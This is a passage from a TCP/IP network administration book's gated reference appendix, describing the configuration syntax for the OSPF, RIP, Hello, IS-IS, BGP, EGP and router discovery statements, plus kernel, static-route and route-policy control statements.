Defines the interfaces used by OSPF. If the keyword nobroadcast is specified, the interface connects to a non-broadcast multi-access (NBMA) network. If nobroadcast is not used, the interface connects to a broadcast or a point-to-point network. Specify the cost of the interface with the cost keyword, e.g., cost 5. The default cost is 1. Two options are specific to NBMA interfaces:

pollinterval time

Defines the time interval at which OSPF HELLO packets are sent to neighbors.

routers

Lists all neighbors by address. The eligible keyword indicates if the neighbor can become a designated router.

Point-to-point interfaces have one additional parameter:

nomulticast

Forces gated to unicast OSPF packets over this interface. By default, OSPF packets to neighbors on point-to-point interfaces are sent via the IP multicast mechanism. Use this option if the remote neighbor does not support multicasting.

All interfaces - NBMA, point-to-point, and broadcast - can use these parameters:

enable | disable ;

Enables or disables the interface.

retransmitinterval time ;

Defines the number of seconds between link-state advertisement retransmissions.

transitdelay time ;

Defines the estimated number of seconds required to transmit a link-state update over this interface. It must be greater than 0.

priority priority ;

Defines this system's priority for the designated router election. priority is a number from 0 to 255. The router with the highest priority becomes the designated router. A router whose priority is 0 is ineligible to become the designated router. See Chapter 7 for a discussion of desginated routers.

hellointerval time ;

Defines the number of seconds between transmissions of HELLO packets.

routerdeadinterval time ;

Defines the timeout before a neighbor is declared down. time is the maximum number of seconds this router will wait for a neighbor's Hello packet.

authkey key ;

Defines a key used to authenticate OSPF packets. The key is specified as one to eight decimal digits separated by periods, a one- to eight-byte hexadecimal string preceded by 0x, or a one- to eight-character string in double quotes.

virtuallink neighborid router_id transitarea area

Defines a virtual link for the backbone area. The router_id is the router identifier of the remote router at the other end of the virtual link. The transit area must be one of the other areas configured on this system. All standard interface parameters defined above may be specified on a virtual link.

B.8.2 The rip Statement

rip yes | no | on | off [ {
broadcast ;
nobroadcast ;
nocheckzero ;
preference preference ;
defaultmetric metric ;
query authentication [none | [simple | md5 password]] ;
interface interface_list
[noripin] | [ripin]
[noripout] | [ripout]
[metricin metric]
[metricout metric]
[version 1 | 2 [multicast | broadcast]]
[[secondary] authentication [none | [simple | md5 password]] ;
trustedgateways gateway_list ;
sourcegateways gateway_list ;
traceoptions trace_options ;
} ] ;

The rip statement enables or disables RIP. By default RIP is enabled. The rip statement options are:

broadcast

Forces gated to broadcast RIP update packets even if the system has only one network interface. By default, RIP updates are not broadcast if the system has only one network interface and are broadcast if it has more than one network interface; i.e., hosts do not broadcast updates and routers do. Forces gated to not broadcast RIP update packets even if the system has more than one network interface. If a sourcegateways clause is present, routes are still unicast directly to that gateway. See sourcegateways later in this section. Specifies that gated should not reject incoming version 1 RIP packets where the reserved fields are 0. Rejecting those packets is standard practice.

preference preference ;

Sets the gated preference for routes learned from RIP. The default preference for these routes is 100.

defaultmetric metric ;

Defines the metric used when advertising routes via RIP that were learned from other protocols. The default metric is 16, which to RIP indicates an unusable route. This means that by default, routes learned from other protocols are not advertised as valid routes by RIP. Set a lower value only if you want all routes learned from other protocols advertised at that metric.

query authentication [none | [simple | md5 key]] ;

Specifies the authentication used for non-router query packets. The default is none. If simple is specified, the key is a 16-byte password. If md5 is specified, the key is a 16-byte value used with the packet contents to generate a Message Digest 5 cryptographic checksum.

interface interface_list

Identifies the interfaces over which RIP runs and defines the configuration parameters of those interfaces. The interface_list can contain interface names, hostnames, IP addresses, or the keyword all. Possible parameters are:

noripin

Tells system to ignore RIP packets received on this interface. The default is to listen to RIP packets on all non-loopback interfaces.

ripin

Tells system to listen to RIP packets received on this interface. This is the default.

noripout

Tells system not to send RIP packets out this interface. The default is to send RIP on all broadcast and non-broadcast interfaces when in broadcast mode. See the nobroadcast option defined earlier in this list.

ripout

Tells system to send RIP packets out this interface. This is the default.

metricin metric

Specifies the RIP metric used for routes received on this interface. The default is the kernel interface metric plus 1, which is the default RIP hop count. If this metric is specified it is used as the absolute value, and is not added to the kernel metric.

metricout

Specifies the RIP metric added to routes sent out this interface. The default is 0. This option can only increase the metric.

version 1 | 2 [multicast | broadcast]

Identifies the version of RIP used for updates sent out this interface. Available versions are RIP 1 and RIP 2. RIP 1 is the default. If RIP 2 is specified and IP multicast is supported, full version 2 packets are sent via multicast. If multicast is not available, version 1-compatible version 2 packets are sent via broadcast. The keyword multicast, the default, specifies this behavior. The keyword broadcast specifies that RIP version 1-compatible version 2 packets should be broadcast on this interface, even if IP multicast is available. Neither keyword is used with version 1.

[secondary] authentication [none | simple | md5 key]

Defines the RIP version 2 authentication used on this interface. The default authentication type is none. If simple is specified, the key is a 16-byte password. If md5 is specified, the key is a 16-byte value used with the packet contents to generate a Message Digest 5 cryptographic checksum. If secondary is specified, this defines the secondary authentication. Packets are always sent using the primary authentication technique. The secondary authentication type is defined only for incoming packets. Inbound packets are checked against both the primary and secondary authentication method before being discarded as invalid.

trustedgateways gateway_list ;

Defines the list of gateways from which RIP accepts updates. The gateway_list is simply a list of hostnames or IP addresses. By default, all gateways on the shared network are trusted to supply routing information. But if the trustedgateways statement is used, only updates from the gateways in the list are accepted.

sourcegateways gateway_list ;

Defines a list of gateways to which RIP sends packets directly. By default, RIP packets are broadcast or multicast to several systems on the shared network - but if this statement is used, RIP unicasts packets directly to the listed gateways.

traceoptions trace_options

Defines tracing for RIP. RIP supports most of the standard tracing options and these packet-tracing options:

packets

Traces all RIP packets.

request

Traces the RIP information request packets, such as REQUEST, POLL, and POLLENTRY.

response

Traces all RIP RESPONSE packets.

other

Traces any other type of RIP packet.

B.8.3 The hello Statement

hello yes | no | on | off [ {
broadcast ;
nobroadcast ;
preference preference ;
defaultmetric metric ;
interface interface_list
[nohelloin] | [helloin]
[nohelloout] | [helloout]
[metricin metric]
[metricout metric] ;
trustedgateways gateway_list ;
sourcegateways gateway_list ;
traceoptions trace_options ;
} ] ;

This statement enables or disables Hello. By default, Hello is disabled. The default metric is 30000 (30 seconds is the highest possible Hello metric) and the default preference is 90. Unless the preference values are altered, routes learned from Hello are preferred over those learned from RIP.

The hello statement has basically the same options as the rip statement. The only command differences are the keywords nohelloin and nohelloout, but they perform the same function for Hello as noripin and noripout do for RIP.

The hello statement supports most of the standard trace options. In addition, the option packets can be specified to trace all HELLO packets.

B.8.4 The isis Statement

isis yes | no | dual | ip | iso {
level 1 | 2 ;
traceoptions isis_traceoptions ;
systemid 6_digit_hexstring ;
area hexstring ;
set isis_parm value ; ... circuit string metric level 1 | 2 metric priority level 1 | 2 priority ;
} ;

The isis statement enables the IS-IS protocol. By default, it is disabled. The dual keyword enables IS-IS for both ISO and IP addressing. The ip keyword enables it for IP addressing and iso enables it for ISO addressing. The options that may appear in the isis statement are:

level

Indicates whether the router, called an intermediate system (IS) in OSI terminology, is a Level 1 (intra-area) or Level 2 (inter-area) IS. Default is Level 1.

traceoptions

Defines the IS-IS trace options. These are different from other gated trace options. The isis_traceoptions are:

all

Traces everything.

iih

Traces ISIS HELLO packets.

lanadj

Traces LAN adjacency updates.

p2padj

Traces point-to-point adjacency updates.

lspdb

Traces signatures in the LSP database.

lspcontent

Traces contents of the LSP database.

lspinput

Traces input processing of the LSPs.

flooding

Traces flooding of the LSPs.

buildlsp

Traces creation of the LSPs.

csnp

Traces processing of the CSNPs.

psnp

Traces processing of the PSNPs.

route

Traces route changes.

update

Traces routing updates.

paths

Traces paths calculated by the Shortest Path First (SPF) algorithm.

spf

Traces the operation of the Shortest Path First (SPF) algorithm.

events

Traces protocol events.

systemid

Defines the IS-IS system ID. If no system identifier is specified, the system ID portion of the first circuit's NSAP address is used.

area

Adds area addresses to those configured automatically from the circuits. IS-IS area addresses are automatically configured based on the real circuits over which IS-IS runs.

circuit

Defines the circuits used by IS-IS. Circuits normally are UNIX interfaces, and string is an interface name. The circuit options are:

metric

Defines the Level 1 and Level 2 metrics for each circuit. metric is a numeric value in the range 1 to 63. The default value is 63.

priority

Defines the value used by IS-IS when electing a designated router. Routers with high priority values are preferred for the designated router. priority is a numeric value between 0 and 127. If no priority is specified, a random value is selected.

See A Guide to Gated Integrated IS-IS, by Steve Heimlich, for information on IS-IS configuration. The document is included in the gated distribution.

B.8.5 The bgp Statement

bgp yes | no | on | off [ {
preference preference ;
defaultmetric metric ;
traceoptions trace_options ;
group type external peeras as_number
| internal peeras as_number
| igp peeras as_number proto proto
| routing peeras as_number proto proto interface interface_list
| test peeras as_number {
allow {
address mask mask | masklen number
all
host address } ;
peer address
[metricout metric]
[localas as_number]
[nogendefault]
[gateway address]
[preference preference]
[preference2 preference]
[lcladdr address]
[holdtime time]
[version number]
[passive]
[sendbuffer number]
[recvbuffer number]
[indelay time]
[outdelay time]
[keep all | none]
[analretentive]
[noauthcheck]
[noaggregatorid]
[keepalivesalways]
[v3asloopokay]
[nov4asloop]
[logupdown]
[ttl ttl]
[traceoptions trace_options] ; } ;
}] ;

This statement enables or disables BGP. By default, BGP is disabled. The default preference is 170. By default, BGP does not advertise a metric. Unlike the RIP metric, the BGP metric does not play a primary role in determining the best route. The BGP metric is simply an arbitrary 16-bit value that can be used as one criterion for choosing a route. The defaultmetric statement can be used to define a metric that BGP will use when advertising routes.

Trace options can be specified for all of BGP or for individual BGP peers. BGP supports most of the standard trace options as well as the following:

packets

Traces all BGP packets. Traces BGP OPEN packets. Traces BGP UPDATE packets. Traces BGP KEEPALIVE packets.

BGP peers must be members of a group. The group statement declares the group, defines which peers are members of the group, and defines the group "type." Multiple group statements may be specified, but each must have a unique combination of type and autonomous system number. There are four possible group types:

group type external peeras as_number

Specifies that BGP will run as a classic exterior gateway protocol. The peers listed in this group are members of an external autonomous system. Full policy checking is applied to all incoming and outgoing routes.

group type internal peeras as_number

Specifies that BGP will be used to distribute routes to an internal group that has no traditional interior gateway protocol. Routes received from external BGP peers are readvertised to this group with the received metric.

group type igp peeras as_number proto proto

Specifies that BGP will be used to distribute path attributes to an internal group that runs an interior gateway protocol. BGP advertises the AS path, path origin, and transitive optional attributes if the path attributes are provided by the IGP's tag mechanism. proto is the name of the interior gateway protocol, e.g., proto ospf.

group type routing peeras as_number proto proto interface interface_list

Specifies that BGP will be used internally to carry external routes, while an interior gateway protocol is used to carry only internal routes. Normally the routes learned by BGP from external autonomous systems are written in the routing table, where they are picked up and distributed by an interior protocol to the local autonomous sytem. For this type of group, BGP distributes the external routes itself and the interior protocol is limited to distributing only those routes that are interior to the local autonomous system. proto is the name of the interior protocol.

group type test peeras as_number

Specifies that the members of this group are test peers. All routing information exchanged by test peers is discarded.

A group clause contains peer subclauses. Any number of peer subclauses may belong to a group. Peers are specified explicitly with a peer statement, or implicitly with the allow statement.

allow

Any peer whose address is contained in the specified address range is a member of the group. The keyword all matches all possible addresses. The keyword host precedes an individual host address. The address and mask pairs define a range of addresses. Network masks can be defined with the keyword mask and an address mask written in dotted decimal notation or with the keyword masklen and the prefix length written as a decimal number. All parameters for these peers must be defined in the group clause.

peer address

The peer identified by address is a member of the group.

The BGP peer subclause allows the following parameters, which can also be specified on the group clause. If placed on the group clause, the parameters affect all peers in the group. The available options are:

metricout metric

Defines the primary metric for routes sent to the peer, which overrides the default metric, a metric specified on the group and any metric specified by export policy.

localas as_number

Defines the local system's autonomous system number (asn). The default is to use the asn defined in the autonomoussystem statement.

nogendefault

Prevents gated from generating a default route when BGP peers with this neighbor, even if gendefault is set in the options directive statement.

gateway address

Identifies the next-hop gateway through which packets for this peer are routed. Use this only if the neighbor does not share a network with the local system. This option is rarely needed.

preference preference

Defines the preference used for routes learned from this peer, which permits gated to prefer routes from one peer, or group of peers, over another.

preference2 preference

Defines the "second" preference. In the case of a preference tie, the second preference is used to break the tie. The default value is 0.

lcladdr address

Defines the address of the local interface used to communicate with this neighbor.

holdtime time

Defines the number of seconds the peer should wait for a keepalive, update, or notification message before closing the connection. The value is sent to the peer in the Hold Time field of the BGP Open message. The value must be either 0 (no keepalives will be sent) or at least 3.

version version

Identifies the version of the BGP protocol to use with this peer. By default, the version is negotiated when the connection is opened. Currently supported versions are 2, 3, and 4.

passive

Specifies that gated should wait for the peer to issue an OPEN. By default, gated periodically sends OPEN messages until the peer responds.

sendbuffer buffer_size

recvbuffer buffer_size

Defines the size of the send and receive buffers. The default is 65535 bytes, which is the maximum. These parameters are not used on normally functioning systems.

indelay time

outdelay time

Implements "route dampening." indelay defines the number of seconds a route must be stable before it is accepted. outdelay is the number of seconds a route must be present in the gated routing database before it is exported to this peer. The default value for each is 0, meaning that these features are disabled. Use this only if the routing table is fluctuating so rapidly it is unstable.

keep all

Tells system to retain routes learned from this peer even if the routes' AS paths contain our local AS number. Normally routes that contain the local AS number are discarded as potential routing loops.

analretentive

Tells system to issue warning messages for events, such as duplicate routes, that are normally "silently ignored."

noauthcheck

Instructs system not to verify that incoming packets have an authentication field of all 1s. Use this to interoperate with an implementation that uses the authentication field.

noaggregatorid

Sets the routerid in the aggregator attribute to 0. By default, it is set to the router identifier. Use this to prevent this router from creating aggregate routes with AS paths that differ from other routers in the AS.

keepalivesalways

Instructs system to send a keepalive even when an update could have correctly substituted for one. Used for interoperability with some routers.

v3asloopokay

Allows advertisement of a route with a loop in the AS path, i.e., with an AS appearing more than once in the path, to version 3 external peers.

nov4asloop

Prevents a route with a loop in the AS path from being advertised to version 4 external peers. Used to avoid passing such routes to a peer that incorrectly forwards them to version 3 neighbors.

logupdown

Logs every time a BGP peer enters or leaves the ESTABLISHED state.

ttl ttl

Defines the IP ttl for local neighbors. By default it is set to 1. Use this option if the local neighbor discards packets sent with a ttl of 1. Not all UNIX kernels allow the ttl to be specified for TCP connections.

The BGP trace options are covered previously.

B.8.6 The egp Statement

egp yes | no | on | off [ {
preference preference ;
defaultmetric metric ;
packetsize maxpacketsize ;
traceoptions trace_options ;
group [peeras as_number] [localas as_number] [maxup number] {
neighbor address
[metricout metric]
[preference preference]
[preference2 preference]
[ttl ttl]
[nogendefault]
[importdefault]
[exportdefault]
[gateway address]
[lcladdr address]
[sourcenet network]
[minhello | p1 interval]
[minpoll | p2 interval]
[traceoptions trace_options] ; } ;
}] ;

This statement enables or disables EGP. By default, EGP is disabled. The default metric for announcing routes via EGP is 255, and the default preference for routes learned from EGP is 200.

The packetsize argument defines the size of the largest EGP packet that will be sent or accepted. maxpacketsize is the size in bytes. The default is 8192 bytes. If gated receives a packet larger than maxpacketsize it is discarded, but maxpacketsize is increased to the size of the larger packet so that future packets won't have to be discarded.

The traceoptions statement defines the tracing for EGP. Tracing can be specified for the EGP protocol or for an individual EGP neighbor. The EGP trace options are:

packets

Traces all EGP packets.

hello

Traces EGP HELLO/I-HEARD-U packets.

acquire

Traces EGP ACQUIRE/CEASE packets.

update

Traces EGP POLL/UPDATE packets.

The egp statement has two clauses: the group clause and the neighbor clause. EGP neighbors must be part of a group, and all of the neighbors in a group must be members of the same autonomous system. Use the group clause to define parameters for a group of EGP neighbors. Values set in a group clause apply to all neighbor clauses in the group. There can be multiple group clauses. The following parameters are set by the group clause:

peeras

Identifies the autonomous system number of the autonomous system to which the members of the group belong. If not specified, this number is learned from the neighbors.

localas

Defines the local system's autonomous system number. The default is to use the asn defined in the autonomoussystem statement.

maxup

Defines the number of EGP neighbors gated is to acquire. The default is to acquire all listed neighbors.

The neighbor clause defines one EGP neighbor. The only part of the clause that is required is the address argument, which is the host name or IP address of the neighbor. All other parameters are optional. All of these optional parameters can also be specified in the group clause if you want to apply the parameter to all neighbors. The neighbor clause parameters are:

metricout metric

Used for all routes sent to this neighbor. This value overrides the defaultmetric value set in the egp statement, but only for this specific neighbor.

preference preference

Defines the preference used for routes learned from this neighbor, which permits gated to prefer routes from one neighbor, or group of neighbors, over another.

preference2 preference

Defines the "second" preference. In the case of a preference tie, the second preference is used to break the tie. The default value is 0.

ttl ttl

Defines the IP ttl for local neighbors. By default, it is set to 1. Use this option if the local neighbor discards packets sent with a ttl of 1.

nogendefault

Prevents gated from generating a default route when EGP peers with this neighbor, even if gendefault is set in the options directive statement.

importdefault

Tells system to accept the default route if it is included in this neighbor's EGP update. By default, it is ignored.

exportdefault

Tells system to send the default route in EGP updates to this EGP neighbor. Normally a default route is not included in an EGP update.

gateway address

Identifies the next-hop gateway through which packets for this neighbor are routed. Use this only if the neighbor does not share a network with the local system. This option is rarely needed.

lcladdr address

Defines the address of the local interface used to communicate with the neighbor.

sourcenet network

Changes the network queried in EGP POLL packets. By default, this is the shared network. However, if the neighbor does not share a network with your system, the neighbor's network address should be specified here. This parameter is normally not needed. Do not use it if you share a network with the EGP neighbor.

minhello | p1 time

Sets the interval between the transmission of EGP HELLO packets. [1] The default Hello interval is 30 seconds. If the neighbor fails to respond to three HELLO packets, the system stops trying to acquire the neighbor. Setting a larger interval gives the neighbor a better chance to respond. The interval can be defined as seconds, minutes:seconds, or hours:minutes:seconds. For example, a 3-minute interval could be specified as 180 (seconds), 3:00 (minutes), or 0:3:00 (no hours and 3 minutes). The keyword p1 can be used instead of the keyword minhello.

[1] Don't confuse this with the Hello protocol. Refer to the discussion of HELLO and I-H-U packets in Chapter 7.

minpoll | p2 time

Sets the time interval between sending polls to the neighbor. The default is 120 seconds. If three polls are sent without a response, the neighbor is declared "down" and all routes learned from that neighbor are removed from the routing table. This can cause the routing table to be very unstable if a neighbor becomes congested and can't respond to rapid polls. A longer polling interval provides a more stable, but less responsive, routing table. Again the interval is defined as seconds, minutes:seconds, or hours:minutes:seconds.

B.8.7 The snmp Statement

snmp yes | no | on | off [ {
port port ;
debug ;
traceoptions trace_options ;
} ] ;

This command controls whether gated informs the SNMP management software of its status. SNMP is not a routing protocol and is not started by this command. You must run SNMP software independently. This statement only controls whether gated keeps the management software apprised of its status. The default is on, so gated does inform SNMP of its status.

The snmp statement supports three options:

port port

This option changes the SNMP port used by gated. By default, the SNMP daemon listens to port 199.

debug

Enables debugging of gated's SNMP code. By default, it is disabled. This option is used by code developers.

traceoptions trace_options

Traces the interactions between gated and the SNMP daemon. The detail, send, and recv options are not supported. Instead, the snmp statement uses these options:

receive

Traces all requests received from the SNMP daemon.

register

Traces SNMP requests to register variables.

resolve

Traces SNMP requests to resolve variable names.

trap

Traces SNMP trap requests.

B.8.8 The redirect Statement

redirect yes | no | on | off [ {
preference preference ;
interface interface_list [noredirects | redirects] ;
trustedgateways gateway_list ;
traceoptions trace_options ;
} ] ;

This statement controls whether ICMP redirects are allowed to modify the kernel routing table. It does not prevent a system from sending redirects, only from listening to them. If no or off is specified, gated attempts to remove the effects of ICMP redirects from the kernel routing table whenever the redirects are detected. Remember that ICMP is part of IP; therefore, the redirects may be installed in the kernel table before they are seen by gated. If you disable redirects, gated actively removes the redirected routes from the routing table. By default, ICMP redirects are enabled on hosts that quietly listen to interior routing protocols and disabled on gateways that actively participate in interior routing protocols.

The default preference of a route learned from a redirect is 30, which can be changed with the preference option. The interface statement controls how redirects are handled on an interface-by-interface basis. Redirects are ignored if noredirects is specified and are permitted if redirects, which is the default, is specified. The trustedgateways statement enables redirects on a gateway-by-gateway basis. By default, redirects are accepted from all routers on the local network. If the trustedgateways statement is used, only redirects received from a gateway listed in the gateway_list are accepted. The gateway_list is simply a list of hostnames or addresses. The trace_options defined on the traceoptions statement are the standard gated trace options.

B.8.9 The icmp Statement

icmp {
traceoptions trace_options ;
}

On some systems, gated listens to all ICMP messages but only processes the ICMP redirect packets. That processing is controlled by the redirect statement. In the future, more functionality may be added. At present the icmp statement is used only to enable tracing of ICMP messages. The tracing options supported by the icmp statement are:

packets

Traces all ICMP packets.

redirect

Traces ICMP REDIRECT packets.

routerdiscovery

Traces ICMP ROUTER DISCOVERY packets.

info

Traces ICMP informational packets.

error

Traces ICMP error packets.

B.8.10 The routerdiscovery Statement

The Router Discovery Protocol informs hosts of the routers that are available on the network. It provides an alternative to static routes, routing protocols, and ICMP redirects for hosts that simply need to know the address of their default router. The Router Discovery Protocol is implemented as a server running on the router and a client running on the host. Both the server (router) software and the client (host) software are provided by gated.

First let's look at the server configuration statement:

routerdiscovery server yes | no | on | off [ {
traceoptions trace_options ;
interface interface_list
[minadvinterval time]
[maxadvinterval time]
[lifetime time] ;
address interface_list
[advertise | ignore]
[broadcast | multicast]
[ineligible | preference preference] ;
} ] ;

The routerdiscovery statement for both the client and server support tracing. The state trace flag can be used to trace finite state machine transitions. Router discovery packet tracing, however, is not done here. It is enabled via the ICMP statement.

The interface clause defines the physical interfaces and the parameters that apply to them. Only physical interfaces can be defined in the interface clause. Addresses are specified in the address clauses shown below. The interface parameters are:

maxadvinterval time

Defines the maximum time interval between sending router advertisements. It must be more than 4 seconds and less than 30:00 minutes. The default is 10:00 minutes (600 seconds).

minadvinterval time

Defines the minimum time interval between sending router advertisements. It must be no less than 3 seconds and no greater than maxadvinterval. The default is 0.75 × maxadvinterval.

lifetime time

Defines how long clients should consider the addresses in a router advertisement valid. It must be greater than maxadvinterval and no more than 2:30:00 (two hours, thirty minutes). The default is 3 × maxadvinterval.

The address clause defines the IP addresses used and the parameters that apply to them. The address clause parameters are:

advertise | ignore

advertise specifies that the address should be included in router advertisements, which is the default. ignore specifies that the address should not be included in router advertisements.

broadcast | multicast

broadcast specifies that the address should be included in a broadcast router advertisement because some systems on the network do not support multicasting. This is the default if the router does not support multicasting.

multicast specifies that the address should only be included in a multicast router advertisement. If the system does not support multicasting, the address is not advertised.

ineligible | preference preference

Defines the preference of the address as a default router. preference is a 32-bit signed integer. The higher values mean the address is more preferable. Note that this is not gated preference. This is a value transmitted as part of the Router Discovery Protocol.

The keyword ineligible assigns a preference of hex 80000000 that means the address is not eligible to be the default router. Hosts use ineligible addresses to verify ICMP redirects.

For routerdiscovery to work, the hosts must have the routerdiscovery client software. It is part of gated and is configured by the routerdiscovery client statement.

B.8.10.1 The routerdiscovery client statement

routerdiscovery client yes | no | on | off [ {
traceoptions trace_options ;
preference preference ;
interface interface_list
[enable | disable]
[broadcast | multicast]
[quiet | solicit] ;
} ] ;

The client uses the same trace options as the server. Other options are different, however. The full list of client options is:

preference preference ;

Defines the preference of default routes learned from routerdiscovery. The default is 55. Unlike the server statement, this is gated preference.

interface interface_list

Defines the interfaces used by routerdiscovery.

enable | disable

Enables or disables routerdiscovery on the interface. enable is the default.

broadcast | multicast

Specifies whether router solicitations should be broadcast or multicast on the interface. By default, router solicitations are multicast if it is supported; otherwise, router solicitations are broadcast. If the multicast keyword is specified and multicast is not available, the router solicitations are not sent. Generally, if these options are not specified, gated will do the right thing.

quiet | solicit

Specifies whether router solicitations are sent on this interface. solicit, which is the default, sends router solicitations. quiet listens to Router Advertisements but does not send router solicitations.

B.8.11 The kernel Statement

kernel {
    options
        [nochange]
        [noflushatexit]
        [remnantholdtime time] ;
    routes number ;
    flash
        [limit number]
        [type interface | interior | all] ;
    background
        [limit number]
        [priority flash | higher | lower] ;
    traceoptions trace_options ;
} ;

The kernel statement defines the interactions between gated and the kernel.

options

Defines three possible configuration options. These are:

nochange

Limits gated to deletes and adds. Use on early versions of the routing socket code that have a malfunctioning change operation.

noflushatexit

Prevents route deletions at shutdown. Normally shutdown processing deletes routes that do not have a "retain" indication. Use to speed startup on systems with thousands of routes.

remnantholddimte time

Defines the length of time routes read from the kernel forwarding table at startup are retained. The default is 3 minutes or as soon as they are overridden. time can be a value between 0 and 15 minutes. A 0 value causes the routes to be deleted immediately.

routes number

Defines the maximum number of routes gated will install in the kernel. By default there is no limit to the number of routes in the kernel forwarding table.

flash

Tunes the parameters used for flash updates. When routes change, the process of notifying the kernel is called a "flash update."

limit number

Sets the maximum number of routes processed during one flash update. The default is 20. A value of -1 causes all route changes to be processed. Large updates can slow the processing of "time critical" protocols. 20 is a good default.

type interface | interior | all

Specifies the type of routes processed during a flash update. By default, only interface routes are installed during a flash update. interior specifies that interior routes are also installed, and all specifies that interior and exterior routes should be processed. Specifying flash limit -1 all causes all routes to be installed during the flash update, which mimics the behavior of previous versions of gated.

background

Tunes the parameters used for background processing. Since only interface routes are normally installed during a flash update, most routes are processed in batches in the background.

limit number

Sets the number of routes processed in one batch. The default is 120.

priority flash | higher | lower

Sets the priority for processing batch updates. The default is lower, which means that batch updates are processed at a lower priority than flash updates. To process kernel updates at the same priority as flash updates, specify flash.

Many tracing options work for the kernel interface because, in many cases, it is handled as a routing protocol. The command-line trace, symbols and iflist, provide information about the kernel. The kernel statement trace options are:

remnants

Traces routes read from the kernel when gated starts.

request

Traces gated kernel Add/Delete/Change operations.

The remaining trace options only apply to systems that use the routing socket to exchange routing information with the kernel.

info

Traces informational messages received from the routing socket.

routes

Traces routes exchanged with the kernel.

redirect

Traces redirect messages received from the kernel.

interface

Traces interface status messages received from the kernel.

other

Traces any other messages received from the kernel.

Previous: B.7 Definition Statements | TCP/IP Network Administration | Next: B.9 static Statements
B.7 Definition Statements | Book Index | B.9 static Statements


[Appendix B] B.9 static Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.8 Protocol Statements Appendix B
A gated Reference 		Next: B.10 Control Statements

B.9 static Statements

static statements define the static routes used by gated. A single static statement can specify several routes. The static statements occur after protocol statements and before control statements in the gated.conf file. To gated, static routes are any routes defined with static statements. However, unlike the routes in a static routing table, these routes can be overridden by routes with better preference values.

The structure of a static statement is:

static {
[default] | [[host] address [mask mask | masklen n]] gateway gateways
[interface interface_list]
[preference preference]
[retain]
[reject]
[blackhole]
[noinstall] ;
address [mask mask | masklen n] interface interface
[preference preference]
[retain]
[reject]
[blackhole]
[noinstall] ;
} ;

The static statement has two different clauses. The one with the keyword gateway is the one you'll use. This clause contains information similar to that provided by the route command. A static route is defined as a destination address reached though a gateway. The format of this clause is:

[default] | [[host] address [mask mask | masklen number]] gateway gateways

Defines a static route through one or more gateways. The destination is defined by the keyword default (for the default route) or by a destination address. The destination address can be preceded by the keyword host, if it is a host address, or followed by an address mask. The address mask can be defined with the keyword mask and a dotted decimal address mask, or by the keyword masklen and a numeric prefix length. The listed gateways must be on a directly attached network. Possible configuration parameters are:

interface interface_list

When specified, gateways in the gateway_list must be directly reachable through one of these interfaces.

preference preference

Sets the gated preference for this static route. The default is 60.

retain

Prevents this static route from being removed during a graceful shutdown. Normally only interface routes are retained in the kernel forwarding table. Use this to provide some routing when gated is not running.

reject

Installs this route as a "reject route." Packets sent to a reject route are dropped and an "unreachable" message is sent back to the source. Not all kernels support reject routes.

blackhole

Installs this route as a "blackhole route." A blackhole route is the same as a reject route except the "unreachable" message is not sent.

noinstall

Instructs system to advertise this route via routing protocols but not to install it in the kernel forwarding table.

The other static statement clause uses the keyword interface instead of the keyword gateway. Use this clause only if you have a single physical network with more than one network address - a rare occurrence. ifconfig normally creates only one destination for each interface. This special form of the static statement adds additional destinations to the interface.

address [mask mask | masklen number] interface interface

The preference, retain, reject, blackhole, and noinstall options are the same as described above.

The default preference of a static route is 60, which prefers static routes over several other routing sources. If you want other types of routes to override static routes, use the preference argument on the static statement to increase the preference number. (Remember that high preference values mean less-preferred routes.)

The following example defines a static default route through the gateway 172.16.12.1. The preference is set to 125 so that routes learned from RIP are preferred over this static route:

static  {
    default gateway 128.66.12.1 preference 125 ;
 } ;

Previous: B.8 Protocol Statements | TCP/IP Network Administration | Next: B.10 Control Statements
B.8 Protocol Statements | Book Index | B.10 Control Statements


[Appendix B] B.10 Control Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.9 static Statements Appendix B
A gated Reference 		Next: B.11 The Aggregate Statements

B.10 Control Statements

The control statements define your routing policy. Often when administrators hear the terms "routing policy" or "policy-based routing," they assume that this is something done inside the routing protocol.

In reality, a routing policy is defined outside of the routing protocol in the configuration file. The policy defines what routes are accepted and what routes are advertsied. gated does this with two control statements: import and export. The import statement defines which routes are accepted and from what sources those routes are accepted. The export statement defines which routes are advertised based on the source of the routes and the protocol used to advertise them.

The import and export statements use gated preference, routing metrics, routing filters, and AS paths to define routing policy. Preference and metrics are controlled by these keywords:

restrict

Says that the routes are not to be imported, in the case of the import command, or exported in the case of the export command. This keyword blocks the use of a specific route.

preference preference

Defines the preference value used when comparing this route to other routes. Preference is used when installing routes; not when advertising routes.

metric metric

Specifies the metric used when advertising a route.

Route filters match routes by destination address. Among other places, route filters are used on martians and import and export statements. A route matches the most specific filter that applies. Specifying more than one filter with the same destination, mask, and modifiers generates an error. Import and export route filters can be specified in the following ways: [2]

[2] Route filters may include additional parameters. On import statements they include a preference, and on export statements a metric. "Preference" and "metric" are described previously.

address [mask mask | masklen number] [exact | refines]

Defines a range of addresses using an address and an address mask. The address mask can be defined with the keyword mask and a mask written in dotted decimal notation or with the keyword masklen and a numeric prefix length. If no mask is defined the natural mask of the network is used. Two options can be used:

exact

Matches a network, but no subnets or hosts of that network.

refines

Matches subnets and/or hosts of a network, but not the network itself.

all

Matches every possible address.

default

Matches only the default route.

host address

Matches an individual host address.

A routing filter that matches everything on network number 192.168.12.0 and the individual host 10.104.19.12 contains:

192.168.12.0 masklen 24 ;
host 10.104.19.12 ;

When no route filtering is specified in an import or export statement, all routes from the specfied source will match that statement. If any filters are specified, only routes that match the specified filters are imported or exported.

Border Gateway Protocol (BGP) is designed to support policy-based routing. A key feature of BGP is that it is a path-vector protocol. Import and export statements allow you to use the AS path vector to enforce your routing policy.

An AS path lists the autonomous systems end-to-end for a route, and provides an indication of the completeness of the path. Each autonomous system that a route passes through prepends its AS number to the beginning of the AS path.

The "origin" of the path indicates its completeness. An origin of igp indicates the route was learned from an interior routing protocol and is most likely complete. An origin of egp indicates the route was learned from an exterior routing protocol that does not support AS paths (EGP for example) and the path is most likely not complete.

When the path information is definitely not complete, an origin of incomplete is used. All of these origins can be specified in the import and export statements, and therefore used in your routing policy. The keyword any is used when the policy applies to all origins.

The AS path can also be used in the control statements by defining an AS path regular expression. [3] The AS path regular expression provides a pattern-matching syntax used to filter routes based on the autonomous system numbers in the AS paths associated with those routes.

[3] AS path regular expressions are defined in RFC 1164.

